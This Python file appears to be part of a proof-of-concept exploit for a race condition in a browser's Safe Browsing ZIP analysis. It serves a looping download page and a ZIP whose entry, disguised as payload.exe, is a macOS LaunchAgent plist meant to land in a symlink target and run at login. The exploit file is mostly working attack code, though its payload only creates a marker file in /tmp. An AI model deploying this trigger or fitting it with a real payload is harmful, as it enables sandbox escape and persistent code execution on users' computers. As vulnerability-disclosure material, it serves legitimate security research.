#!/usr/bin/env python3
"""HTTP server for the TemporaryFileGetter TOCTOU POC.

Serves poc.html and a single-entry ZIP whose entry body is the attacker's
LaunchAgent plist payload. Each download of the ZIP causes the browser to run
SandboxedZipAnalyzer -> utility ZipAnalyzer::Init -> browser
TemporaryFileGetter::RequestTemporaryFile -> TemporaryFileGetterHelper, giving
the GPU-process racer one shot at the symlink swap. poc.html re-downloads in a
loop so attempts are unbounded.
"""
import http.server
import io
import socketserver
import zipfile

PORT = 8080

# The attacker-chosen bytes that will end up in the symlink target if the race
# is won. ZipAnalyzer::ResumeExtraction copies the entry body verbatim through
# the fd returned by TemporaryFileGetterHelper.
PAYLOAD = b"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
 "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
  <key>Label</key><string>com.poc.tempfile-toctou</string>
  <key>ProgramArguments</key>
    <array><string>/usr/bin/touch</string><string>/tmp/PWNED-BY-TEMPFILE-TOCTOU</string></array>
  <key>RunAtLoad</key><true/>
</dict></plist>
"""

# Use a .exe extension so FileTypePolicies treats the entry as inspectable and
# ZipAnalyzer extracts it through the temp file (rather than just hashing
# metadata).
def build_zip() -> bytes:
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_STORED) as zf:
        zf.writestr("payload.exe", PAYLOAD)
    return buf.getvalue()


ZIP_BYTES = build_zip()

HTML = b"""<!doctype html>
<title>TemporaryFileGetter TOCTOU trigger</title>
<body>
<p>Triggering Safe Browsing archive analysis in a loop&hellip;</p>
<a id="dl" download="poc.zip" href="/poc.zip">download</a>
<script>
// Each download -> FileAnalyzer::Start -> SandboxedZipAnalyzer ->
// utility ZipAnalyzer::Init -> browser TemporaryFileGetterHelper.
// Loop so the GPU-process racer gets unbounded attempts.
let n = 0;
function go() {
  document.getElementById('dl').href = '/poc.zip?n=' + (n++);
  document.getElementById('dl').click();
  setTimeout(go, 250);
}
go();
</script>
</body>
"""


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):  # noqa: N802
        if self.path.startswith("/poc.zip"):
            self.send_response(200)
            self.send_header("Content-Type", "application/zip")
            self.send_header(
                "Content-Disposition", 'attachment; filename="poc.zip"'
            )
            self.send_header("Content-Length", str(len(ZIP_BYTES)))
            self.end_headers()
            self.wfile.write(ZIP_BYTES)
        elif self.path in ("/", "/poc.html"):
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.send_header("Content-Length", str(len(HTML)))
            self.end_headers()
            self.wfile.write(HTML)
        else:
            self.send_error(404)

    def log_message(self, fmt, *args):
        pass


if __name__ == "__main__":
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(("127.0.0.1", PORT), Handler) as httpd:
        print(f"serving on http://127.0.0.1:{PORT}/poc.html")
        httpd.serve_forever()